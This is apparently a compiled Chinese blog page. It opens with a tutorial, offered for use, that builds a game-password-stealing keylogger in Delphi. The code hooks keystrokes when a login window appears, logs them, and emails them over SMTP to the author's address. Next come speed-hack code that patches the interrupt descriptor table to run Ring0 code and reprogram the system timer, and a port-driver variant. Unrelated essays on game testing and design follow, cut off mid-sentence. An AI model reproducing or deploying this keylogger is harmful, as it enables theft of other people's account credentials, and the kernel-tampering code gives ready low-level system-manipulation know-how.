    以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

    在做程序之前我们必需要了解一下程序的思路:
    1、我们首先知道你想记录游戏的登录窗口名称。
    2、判断登录窗口是否出现。
    3、如果登录窗口出现,就记录键盘。
    4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
    第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
    那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

    HWND FindWindow(

    LPCTSTR lpClassName, // pointer to class name
    LPCTSTR lpWindowName // pointer to window name
    );
    实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
    先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
    HHOOK SetWindowsHookEx(

    int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure

    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId // identity of thread to install hook for 
    ); 
    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
    hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, Hinstance, 0); 
    而HOOKPROC里的函数就要复杂一点点:
    function HookProc(iCode: integer; wParam: wParam; lParam: lParam): Lresult; stdcall; 

    begin 
    if findedtitle then //如果发现窗口后
    begin 
    if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
    hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
    If length(hookkey) > 0 then //如果获得按键名称
    begin 
    Write(hookkeyFile,hookkey); //把按键名称写入文本文件

    hookkey := ''; 
    end; 
    end; 
    end; 
    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而Hhook,就是创建setwindowshookex后所返回的句柄。
    我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
    assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
    reset(ReadFile); //设为读取方式

    try 
    While not Eof(ReadFile) do //当没有读到文件尾
    begin 
    Readln(ReadFile,s,j); //读取文件行
    body:=body+s; 
    end; 
    finally 
    closefile(ReadFile); //关闭文件
    end; 
    nmsmtp1.EncodeType:=uuMime; //设置编码
    nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
    nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
    nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址

    nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
    nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
    nmsmtp1.SendMail; //发送邮件
    这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在www.playicq.com上找得到。
    (其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~,最后要说的是我最近一段时间很忙,单位里有一堆事情等着我要去做(做项目,做研发,带实习生,过CMM2~~~~累呀),所以第5篇也不得不推后出了,请大家谅解,做为对大家关心的补偿,请大家有什么问题跟贴留言,如果我会,我会一一解答的,谢谢大家对我的文章的关心~~)

    附:
    function Keyhookresult(Lp: integer; Wp: integer): pchar; 
    begin 
    result := '[Print Screen]'; 
    case lp of 
    10688: result := '`'; 
    561: Result := '1'; 
    818: result := '2'; 
    1075: result := '3'; 
    1332: result := '4'; 
    1589: result := '5'; 
    1846: result := '6'; 
    2103: result := '7'; 
    2360: result := '8'; 
    2617: result := '9'; 
    2864: result := '0'; 
    3261: result := '-'; 
    3515: result := '='; 
    4177: result := 'Q'; 

    4439: result := 'W'; 
    4677: result := 'E'; 
    4946: result := 'R'; 
    5204: result := 'T'; 
    5465: result := 'Y'; 
    5717: result := 'U'; 
    5961: result := 'I'; 
    6223: result := 'O'; 
    6480: result := 'P'; 
    6875: result := '['; 
    7133: result := ']'; 
    11228: result := '\'; 
    7745: result := 'A'; 
    8019: result := 'S'; 
    8260: result := 'D'; 
    8518: result := 'F'; 
    8775: result := 'G'; 
    9032: result := 'H'; 
    9290: result := 'J'; 
    9547: result := 'K'; 

    9804: result := 'L'; 
    10170: result := ';'; 
    10462: result := ''''; 
    11354: result := 'Z'; 
    11608: result := 'X'; 
    11843: result := 'C'; 
    12118: result := 'V'; 
    12354: result := 'B'; 
    12622: result := 'N'; 
    12877: result := 'M'; 
    13244: result := ','; 
    13502: result := '.'; 
    13759: result := '/'; 
    13840: result := '[Right-Shift]'; 
    14624: result := '[Space]'; 
    283: result := '[Esc]'; 
    15216: result := '[F1]'; 
    15473: result := '[F2]'; 

    15730: result := '[F3]'; 
    15987: result := '[F4]'; 
    16244: result := '[F5]'; 
    16501: result := '[F6]'; 
    16758: result := '[F7]'; 
    17015: result := '[F8]'; 
    17272: result := '[F9]'; 
    17529: result := '[F10]'; 
    22394: result := '[F11]'; 
    22651: result := '[F12]'; 
    10768: Result := '[Left-Shift]'; 
    14868: result := '[CapsLock]'; 
    3592: result := '[Backspace]'; 
    3849: result := '[Tab]'; 
    7441: 
    if wp > 30000 then 
    result := '[Right-Ctrl]' 

    else 
    result := '[Left-Ctrl]'; 
    13679: result := '[Num /]'; 
    17808: result := '[NumLock]'; 
    300: result := '[Print Screen]'; 
    18065: result := '[Scroll Lock]'; 
    17683: result := '[Pause]'; 
    21088: result := '[Num0]'; 
    21358: result := '[Num.]'; 
    20321: result := '[Num1]'; 
    20578: result := '[Num2]'; 
    20835: result := '[Num3]'; 
    19300: result := '[Num4]'; 
    19557: result := '[Num5]'; 
    19814: result := '[Num6]'; 
    18279: result := '[Num7]'; 

    18536: result := '[Num8]'; 
    18793: result := '[Num9]'; 
    19468: result := '[*5*]'; 
    14186: result := '[Num *]'; 
    19053: result := '[Num -]'; 
    20075: result := '[Num +]'; 
    21037: result := '[Insert]'; 
    21294: result := '[Delete]'; 
    18212: result := '[Home]'; 
    20259: result := '[End]'; 
    18721: result := '[PageUp]'; 
    20770: result := '[PageDown]'; 
    18470: result := '[UP]'; 
    20520: result := '[DOWN]'; 
    19237: result := '[LEFT]'; 
    19751: result := '[RIGHT]'; 

    7181: result := '[Enter]'; 
    end; 
    end;



    我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
    原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。

    以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。Windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~

    在实现之前我们来理一下思路吧:
    1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
    2、调用这个过程来实现加速功能
    好了,现在思路有了,我们就边看代码边讲解吧:
    首先我们建立一个过程,这个过程就是本程序的核心部份:
    procedure SetRing(value:word); stdcall; 
    const ZDH = $03; // 设一个中断号
    var
    IDT : array [0..5] of byte; // 保存IDT表
    OG : dword; //存放旧向量

    begin
    asm
    push ebx
    sidt IDT //读入中断描述符表
    mov ebx, dword ptr [IDT+2] //IDT表基地址
    add ebx, 8*ZDH //计算中断在中断描述符表中的位置
    cli //关中断
    mov dx, word ptr [ebx+6] 
    shl edx, 16d 
    mov dx, word ptr [ebx] 
    mov [OG], edx 
    mov eax, offset @@Ring0 //指向Ring0级代码段
    mov word ptr [ebx], ax //低16位,保存在1,2位

    shr eax, 16d
    mov word ptr [ebx+6], ax //高16位,保存在6,7位
    int ZDH //中断
    mov ebx, dword ptr [IDT+2] //重新定位
    add ebx, 8*ZDH
    mov edx, [OG]
    mov word ptr [ebx], dx
    shr edx, 16d
    mov word ptr [ebx+6], dx //恢复被改了的向量
    pop ebx
    jmp @@exitasm //到exitasm处
    @@Ring0: //Ring0,这个也是最最最核心的东东
    mov al,$34 //写入8253控制寄存器

    out $43,al
    mov ax,value //写入定时值
    out $40,al //写定时值低位
    mov al,ah
    out $40,al //写定时值高位
    iretd //返回
    @@exitasm:
    end;
    end;
    最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
    先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

    SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

    因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。



    我的文章名字没有叫《网络游戏外挂制作之我所见(6)》是因为本文六以后研究的方向就是网络数据封包的内容了,而本文将要介绍的是windows 2000/Xp下实现加速形外挂的制作。
    在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。

    1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
    2、我们要把里面的prottalk.sys拷贝出来。
    3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
    4、实现加速外挂。
    本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
    1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。

    2、我们在我们新建的工程加入我们的接口文件
    uses
    windows,ProtTalk……
    3、我们建立一个过程
    procedure SetRing(value:word); 
    begin
    if not OpenPortTalk then exit;
    outportb($43,$34);
    outportb($40,lo(Value));
    outprotb($40,hi(value));
    ClosePortTalk;
    end;

    4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

    SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

    就这么容易,win2000的也就写出来了,我最近真的很忙,请大家耐心等待~~~~谢谢大家支持ing
  • 业内探讨:测试时间的长短意味着什么

    2007-01-07 19:29:22

    游戏测试对于每一个网游玩家来说都不陌生。游戏从进入市场到开始运营,必须经过两次测试——内部测试和公开测试。很多玩家对于自己的感兴趣游戏,通常都是在游戏开始内部测试时便争取测试号,拿到拥有内测权限的帐号后迫不及待的加入到游戏当中。在测试时期便进行游戏,会给玩家带来两大好处:

      1、 事先了解游戏,以便利用测试时累积的经验在游戏开始运营后更好的进行游戏。
      2、 提先体验游戏,以便审核游戏是否符合自己的要求。

      事先体验游戏将给玩家带来各方面的益处。这便是中国精品游戏的内测帐号甚至能使玩家花人民币购买的原因。但是对于游戏厂商来,游戏测试是否也会给厂商带来各方面的益利呢?事实并非如此。

      游戏进入测试前期,运营商就必须给游戏架设好服务,以供测试玩家通过互联网进入游戏空间。游戏在测试当中时,运营商除了要对服务器进行定期的维护之外,所有的工作都要随着游戏的测试而展开。包括客户工作、游戏宣传等等。也就是说,游戏测试期间,虽然游戏用户不需要通过购买点卡、月卡等方式游戏获得时间,但是游戏运营商所做的测试工作却和游戏收费后所做的工作是同等的。运营商在没有任何游戏收入的情况下,必须付出与运营时期同样的精力与金钱来维护服务器的稳定、提供正规的客服工作。这种“零收入、高支出”的游戏测试工作,正是中国网游产品测试时间较短的最大原因。

      或许有些天真的玩家会问:既然游戏测试对于运营商来说并没有丝毫利益,何不放弃测试直接进入运营?这种观点是根本不可行的。因为测试二字对于游戏来说非党重要,甚至于游戏测试将关系到游戏日后运营工作的好坏。

      某一款刚进入中国网游市场,还未进行测试的游戏都不是完美的。试想,一个完全没有使用的新产品,如何能知道它本身是否存在缺陷,是否满足使用者的需求?运营商在获得游戏运营权,并得到游戏版本之后,并不能确定目前的游戏版本即是符合中国玩家要求,或是游戏功能已经完全开发完毕。因此需要通过测试对游戏进行审核。当玩家或是运营商内部工作人员参与到游戏测试时中,才可以设身处地的感受到游戏的缺陷。运营商在游戏测试需要做到多项工作:发现游戏BUG及时更改;了解服务器所能承担的最大负荷量;收集玩家对游戏的意见,并根据玩家的需求对游戏功能进行更改等等。游戏测试期间运营商每项工作的完成度,都将换来同等质量的游戏运营情况。然而,并不是每个游戏厂商都如此重视游戏测试。或是出于支出的考虑,或是出于对游戏过于自信,中国很多游戏厂商就因匆匆结束测试工作,让游戏在尚未成熟的情况下走入运营而吃亏不少。

      光通开发的《封神演义》,在通过短短几月的内测后便提前拉开公测序幕。原定于公测三个月后即进入运营的《封神演义》,除了某些游戏功能尚未开发完毕,还因服务器在公测玩家进入后出现不稳定的情况,最终被玩家所遗忘。《领土》、《刀ONLINE》等等网游,都在运营开始前便退出市场。这些游戏同共的失败之处就在于:运营商未正确对待游戏测试,以至于在运营之前的公测时暴露了游戏本身存在的极大的缺陷,被网游玩家抛弃。虽然中国还有很多网游在未正确对待测试便顺利进入运营。然而游戏运营后所暴露的问题,也使一批批原本热爱游戏的玩家怀着遗憾而离开。

      由此可见,游戏测试时间的长短和测试期间对游戏的完善度,甚至可以作为玩家评估游戏质量的一种参考。原因在于,游戏测试将拉进厂商与玩家的距离。随着测试时间的延长,更多的玩家参与到测试当中,可以使运营商了解到来自各方面的信息。包括中国各地区玩家对游戏的期望值、游戏功能是否符合玩家需求等等。而游戏测试的另一个目的便是通过测试发现游戏存在的各项问题,并及时对游戏所暴露的问题进行更改。认真对待游戏测试,并及时纠正测试期间游戏所出现的各项问题,更使游戏质量随着测试时间的延长而提高。

      当我们明白了游戏测试的重要性时,再来关注中国网游产品的测试时间。既便是由暴雪出品的《魔兽世界》在进入中国后,其运营商也只是进行了不足六个月的测试工作便让游戏进入运营。运营商对旗下产品如此的自信有部份原因也是因为游戏开发商已经得到大家的认可。但是笔者不禁要问道:任何堪称“精品”的游戏都能完全达到中国玩家的需求?不让玩家与游戏进行长时间的接触就无法发现未知性的问题。这些匆匆结束运营步入运营的游戏,虽然提早给运营商带来收入,但是其短暂的内测终会使隐患留存于游戏当中。

      可喜的是,认真对待游戏测试不惜花重金延长游戏测试工作,以便产品能在运营之前达到尽善尽美程度的中国运营商还是存在的。由网易开发并运营的武侠类网游《大唐豪侠》在测试期间便获得了玩家的认可。但是运营商对游戏质量的苛刻要求,使之将游戏测试时间延长了一倍之多。在时间方面远远长于其它网游的《大唐豪侠》,它也许并不是闻名世界的精品游戏。但可以肯定的是,长时间测试期间将给《大唐豪侠》带来任何网游都无法超越的稳定运营。网易认真对待游戏测试工作,必能通过测试期间收集到较为全面的玩家意见和累积的丰富运营经验,为游戏拉开最为完美的运营工作。

      选择游戏即是选择运营商的服务。游戏测试时间的长度,在某种程度上就是运营商服务质量的好坏,聪明如你一定知道如何通过游戏测试情况进行选择。

  • 使用面向对象的思想进行测试(游戏测试相关)

    2007-01-07 19:21:18

      此文是对我个人测试思想的一个总结,由于经验不够,知识浅薄,如果有什么不合理的地方请一笑了之。
    一、面向对象的概念
        所谓的面向对象是软件开发的一种重要的思维方式,是把软件开发过程中出现的事物,用一个个的对像来分析.一般一张数据表可以封装为一个对像。用个形象的比喻:我们现在要做一张桌子,首先我们考虑到的是我们要做的是什么?是桌子;桌子是用来干什么的呢?是用来吃饭、喝茶、看书、打麻将的;然后就要考虑桌子由哪些部分组成?由桌面和桌腿来组成;接着我们需要考虑我们采用什么材料呢?纸?不行...那可什么都干不成,OK,用木头;接着就可以开始把组成桌子的组件做为对象开始分析--桌面如何做是用刀砍的还是用刨子刨呢?桌腿又如何做...
    一套完整的方法成形了就可以具体实现了,在做的过程中桌面要做多大,桌腿要做多长都要事先考虑到是不是要留出接口,这些就是我们给组成桌子的组件赋予的属性。OK,现在可以做出具体的实物了,做好实物组件(对象)以后就要将做好的桌面桌腿进行组装,由于我们事先考虑好了组件的属性,考虑到了必须预留接口,因此我们可以很轻易的组合成功,桌子做出来了。以上就是面向对象的思想的一个简要的比喻

    了解面向对象必须了解的几个名词:对象、方法、属性、继承、多态

    二、游戏测试
        游戏测试是整个软件测试行业中比较特殊的一部份,他有着大多数软件测试的共性,也具备自身的特性,而相对于许多通用软件的测试来说,游戏测试所具备的特性是非常明显的。现在就简要的说说上面提到的共性和特性。
    共性:
    1、测试的目的就是为了尽可能的发现软件存在和潜在的问题。
    2、测试都是需要测试人员按照产品行为描述来实施。产品行为描述可以是书面的规格说明书、需求文档、产品文件、或是用户手册、源代码、或是工作的可执行程序。
    3、每一种测试都需要产品运行于真实的或是模拟环境之下。
    4、每一种测试都要求以系统方法展示产品功能, 以证明测试结果是否有效, 以及发现其中出错的原因, 从而让程序人员进行改进。
        总之,软件测试就是对产品进行尽可能的全面检查,尽可能的发掘bug,提高软件质量,从而为企业创造利润。
    特性:
        网络游戏世界从某种意义上说是另一个人类社会,只是人们在网络游戏世界中进行着在被允许的范围内的活动,包括了修炼、交流、合作、经商、欺诈、情感、冲突等等。而在游戏制作时这些进行这些行为的部分就是一个个完整的功能,我们在进行测试的时候,需要考虑的不仅仅是能否实现功能,要考虑更多的是人们在进行操作时会如何做,可能有多少种做法,这些做法应该有什么样的响应,哪些做法是被禁止的,在进行了被禁止的操作后应该有什么的响应。因此这里就是涉及到了游戏世界的测试方法:
    1、游戏情节的测试,主要指游戏世界中的任务系统的组成, 有人也称为游戏世界的事件驱动, 我喜欢称为游戏情感世界的测试。
    2、游戏世界的平衡测试,主要表现在经济平衡,能力平衡( 包含技能, 属性等等),保证游戏世界竞争公平。
    3、游戏文化的测试,比如整个游戏世界的风格, 是中国文化主导,还是日韩风格等等,大到游戏整体,小到N P C( 游戏世界人物) 对话, 比如一个书生,他的对话就必需斯文, 不可以用江湖语言。

    以上陈述中关于游戏特性的部分概念是曾在金山公司的测试人陈卫俊提出来过的,在此引用

    三、如何用面向对象的思想进行测试
        上面了解了面向对象的概念以及游戏测试和通用软件测试的区别以后我们可以进入正题了---如何用面向对象的思想进行游戏测试?
        首先,和所有通用软件以及硬件产品一样,我们的游戏是一个产品,是一个存在的实体,因此,我们把这个"实体"当做一个大的对象开始分析,整个游戏由哪些部分构成,而构成整个游戏的大的部分又由哪些组件构成,认真分析完这些以后就可以着手进行测试了,注意,这里说"可以进行测试了"意思不是马上就能进入测试,听我慢慢道来.
        "工欲善其事,必先利其器"---某位高人说的,我们做测试也是一样,分析完毕后,我们要做的还是分析 ^_^ 不过这里的分析和之前的分析有点点区别,这里我们需要分析的是具体功能的关键测试点和风险点,测试不能盲目,打蛇要打七寸.....在这里我们就是把某个具体的功能作为一个对象,我们要分析组成这个功能的是哪些因素,一共有哪些测试点,哪些测试点是关键点,哪些是高风险点,一一列举出来,这样我们就一目了然了,然后就是我们打算采用何种方式来进行测试,这里就是方法了.测试的方式可能有很多种(比如在不同的操作系统下进行测试等),因此我们也需要一一列举,此外我们需要分析的还有测试过程中我们需要用到的具体测试手法、具体的数值、特定的环境等等这些就是属性,当然这些我们也必须整理出来。
        将以上提到的对象、方法、属性整理成文档就是我们测试时所必须的测试用例了。当然,还是老话,测试用例的优劣是以覆盖面来评判的,这里就需要经验了,简单说就是靠累积以及学习。
        OK,测试用例我们完成了,剩下的就是实施测试了,实施测试时个人觉得一定要按照用例的描述去执行,如果在测试过程中觉得用例不完善可以先更新用例再进行测试,一定不要先测试再补用例!!
        接下来就是测试报告,报告中包含的应该有所有测试点的简述,包括了通过测试的部分和存在bug的部分。bug管理是很重要的一环,在这里不详述。
        关于测试流程在这里就不做具体说明,在这里希望阐述的是一种测试的思想,个人觉得测试除了要有扎实的相关基础知识以便更深入的了解产品以外,更重要的是测试思想,具备了完善的测试思想才能有计划的完成每一步测试,从而提高测试的效率,保证测试产出的质量,也更好的保证产品的质量。面向对象是一种思想,用面向对象的思想来组织、计划、实施测试工作,能让我们在测试工作中有很强的目的性,他能清楚地告诉我们今天要做什么,明天要做什么,我们要做的是哪些,说回游戏测试,游戏开发是一个迭带的开发模式,因此测试工作往往会有很大的随机性,因此当我们接到一个新功能时,首先要明确我们要测得这个功能是做什么的,有什么用,这个功能怎么使用。OK,我们了解了这个功能是什么,能做什么就可以开始细化分析了:这个功能共由哪些子功能组成,这些子功能是否有自己的子功能点,一层层的分析下去,然后就是从最底层的功能点分析:这个功能什么情况下要发挥其功效,发挥其功效的因素有哪些,怎么样去发挥具体的功效,该功能有没有相应的容错机制,这些就是我们的详细测试点和测试手法。然后向上一层一层分析,一直到最顶层就是我们的功能完整的测试方针。这样我们就把面向对象的思想完全用到了测试中。当然,在分析的过程中我们必须考虑到,与游戏情节、游戏风格、游戏平衡、玩家的易用性是否冲突等等因素,适时地给策划提出正确的建议。
        
        以上陈述的种种,无非是想将面向对象的思想用到测试中的好处列举出来,或许经验浅薄说的有些苍白,但是我坚信一点,测试是一种思想,是一种绝对不亚于开发思想的学问,要想做好测试就需要具备良好的测试思想,或者良好的测试思想不是一天两天能够形成的但是相信只要把测试当做一种职业,当作一种事业来做,把自己真正当成保证产品质量的最后一道关卡,成为一个BT(BestTester)就指日可待了
  • 游戏中的非线性

    2007-01-07 19:08:21

       游戏中的线性,关于这方面的讨论和论述的文章已经够多了, 现在讨论它们的人逐渐变少了.这篇文章将讨论游戏中线性的不同方面, 以及建立非线性的一些方法.

    一。游戏过程的线性特征(或游戏中行为的线性特征)

        游戏过程中的线性表现在做一件事情不得不按照设定好的顺序. 冒险类游戏就是个说明的好例子. 我想从我喜爱的游戏中选一个例子如 Zak McKracken And the Alien Mind Benders (LucasArts), 我们简称它为Zak.

        在Zak中,当你想在你头顶上的隔板上寻找东西时,总是有一个女管家出来阻止你,而且每次当你要做这些时,这个烦人的女管家都会强迫你坐回到自己原来的位置上, 为了避开这个女管家的管束,你必须先去厕所,扔一些手纸在厕所里, 拉下放水的开关,放水冲下去.而这时侯女管家就会转身去干一些别的杂事, 你必须趁她不注意,马上去拿一个鸡蛋过来,把它放到微波炉中,打开开关, 过一会儿,鸡蛋爆炸了,女管家就会慌忙地跑过来看这是怎么回事, 这充足地转移了女管家的注意力,足够她去忙一阵子了, 这样你就能悠哉游哉地到隔板上或其它地方去翻东西了.

        这个顺序是有趣的,令人发笑,这也是一个线性游戏操作的一个好的范例. 但如果你尝试着做另一些事情来达到目的,如用你笛子的吹奏技巧使她神魂颠倒, 或用一块法国面包来贿赂她,这些都不能成功, 你必须按程序设好的精确顺序来得到所需要的结果. 你也不能只是做这一连串动作中的某一项,如果你这样做了, 那么你在四处找物品的过程中还是会受到阻拦, 并被送回到你的座位上. 没有完成全部的动作意味着你没有获得物品的机会, 因为这些动作中的一部分已经完成了,所以你必须再重做一次来得到需要的物品. 这种限制性对玩家来说是非常糟糕的.

        现在你看到它是怎样使一个玩家受到挫折的吧? 所以你会采取什么措施来避免这种情况发生呢?

        事实上这种情况主要取决于你所设计的类型. 如果你设计的游戏使用3D而且允许全方位的移动, 并且使用一种灵活地方式与世界进行交互,那么你就能方便地创建完成某一目地的多种途径.

        如果你仍然使用2D,或者在一个受限制的3D环境中, 那么就需要根据动作来制作不同的画面,还要根据发生的不同的情况来设计画面. 为了给出一个例子来说明一个特定的情况由什么来组成, 我将使用现在这个游戏--Force Recon (FR)。在FR中你允许在任意方向上移动, 所以玩家就会思考怎样去穿过一个地形. 因为FR是一个包含活泼角色的2D游戏, 所以必须为每一个动作制作分离的画面, 并且要尽量完善地考虑到玩家所有可能的行为.

        一个玩家在选择攻击一座建筑时可能会有几种方式. 他们会破门而入, 或从窗户爬进来, 或不进来, 只是从窗户外扔手榴弹进来, 或用炸药炸. 每一种行为都需要绘制不同的画面来表示出来, 即使玩家只使用一种方式.

        就象你能看到的, 这将导致大量隐性的工作. 这基本上是非线性系统必然的一部分. 玩家们永远不会看到这点,因为他们不是制作者.

        另一个非线性游戏允许玩家沿超过一条的路径来到达目的地. 举个实例, 玩家需要进入城堡内的实验室里, 他既能够堂而皇之地穿过城堡的大门进入, 又能鬼鬼祟祟地通过洞穴和地下通道进入城堡. 如果他能任选一项并到达同一地点, 那么游戏的这一部分就是非线性的.

        以一个在3D游戏中探险为例, 它有一个高度灵活的系统, 对你来说, 在这种类型的游戏下实现上述的故事情节确实很容易就能完成. 像Quake就具有非线性的游戏过程. 你并不需要按次序地从一个走廊走到另一个走廊, 或者杀光所有的怪物来冲过这一关. 当然它故事的线性发展就是另外一回事了.

    二。故事中的线性特征

        创作一个非线性的故事被认为是一件非常困难的任务, 比建立一个非线性的游戏流程来说更困难, 主要有以下三个原因:


    1. 第一个原因就是故事的影响力远比游戏流程的影响力所持续的时间要长. 当玩家能够立刻作出选择并按不同的方式来完成他的目的, 这个过程就是非线性的, 然而, 这个故事就必须得跟上所有这些变化, 像前面这个城堡的例子中, 如果玩家不从大门进入, 那么故事情节就必须根据玩家的选择来做相应的改动.
      如果玩家在城堡大门前的空地上会遇到了他的骑士伙伴, 那么这个游戏现在必须跳过所有涉及这个骑士的内容, 或者在另外适当的场合再介绍这位骑士. 游戏越早出现分支, 就会产生越多的分支结果, 也就需要越多的时间来编写故事.
    2. 接下来就是我们遇到的非线性故事的第二个问题--容量的爆炸. 许多玩家习惯于通过影像的片断来了解故事的发展, 为了玩成一个制作精良的非线性故事, 你将不得不录制几倍或十几倍于线性游戏的影像. 不仅是它昂贵的花费让人咋舌, 而且它的存贮媒质也变成了一个问题.
    3. 非线性游戏极端困难的第三个原因是尝试着保持紧凑的故事情节. 小说或电影有一个单纯的很明确的故事情节, 它们能把你紧紧地吸引住, 因为它提供了很好的焦点. 做一条吸引人的故事主线, 然后试着在这条主线上做一些分支, 而这些分支会改变故事发展的情节. 这确实是对故事创作者的极端苛求. 想像一下如果在皮诺曹的故事中, 如果Jiminy Cricket不能够及时打开窗户并且跳进房间里使皮诺曹复活的话, 这个故事该怎样改, 接下去会发生什么?
      这只是一个极端的例子,但是它指出了一个真正非线性故事, 如果开始时就有分支, 那么它将基本上将会演变成一个同原来完全不同的新故事. 以一个游戏设计者的角度来看, 你不得不发现, 这与你想让你的故事沿着主线索前进的想法相差得多远. 你想允许多结局吗? 你想让你的故事进行下去而不介意会发生什么吗? 这些依赖于你游戏的问题你必须都作详细的定义.

        前面我把Quake作为一个非线性游戏过程的例子, 我提到你不必非要从一个走廊走到另一个走廊, 但事实上你必须要从一个地方走到另一个地方, 因为你需要按按钮去打开一扇扇的门, 去进入一个个新的环境. 我认为在实质上这是一个对抗性的游戏, 它在故事上没有更多的发展, 你打开了一扇门又进入了下一场战斗. 在 Starcraft 中, 当你玩Zerg族时, 你必须保护一个蛹, 它后来会孵化出来. 当你保护它足够长的时间后它会孵化出来, 对于Quake中的按按钮开门来说它是一个并行的事件. 但它不是一个主动行为而是一个被动行为。

       游戏操作中和故事中的非线性是可以明确定义的. 问题就在于如何为玩家创建一个有效, 引人注目的, 并且有趣的非线性, 而这个问题是非常困难的, 可能会需要大量的尝试和几年的努力来最终实现.

  • 角色扮演游戏的升级系统研究

    2007-01-07 19:01:06

    在一般的角色扮演游戏中,人物的成长是一件相当重要的事,无论是角色扮演游戏或是目前热门的策略型角色
    扮演游戏(简称RSLG),这些升级系统都是游戏的一个重要部份。不过在一般的角色扮演游戏中,人物的升级
    以及成长却有着很多种的处理方式。在本文中,笔者将为各位介绍各种角色扮演游戏中常用的升级方式,并且
    分析各种作法的优缺点。

    在一般的角色扮演游戏中,最常用的升级方式就是乱数式的成长方式。在这种模式中,当一名角色获得升级的
    时候,程式会使用乱数来决定升级的各项指数,也就是说所有的升级数值都不是在控制中,而是依据一个乱数
    表来决定提升的数值。这种升级的方式是如何处理的呢?

    当人物到达升级的标准时,就会进入处理升级的副程式中,在这个副程式中程式会依设计者所定出的一个乱数
    范围,来计算出这名角色所得到的升级指数,然後将这个数值加到需要增加的属性上。

    在这种乱数决定升级的情况下,玩者所能够获得的升级数值,完全是由设计者订定的范围中求出,无论是升级
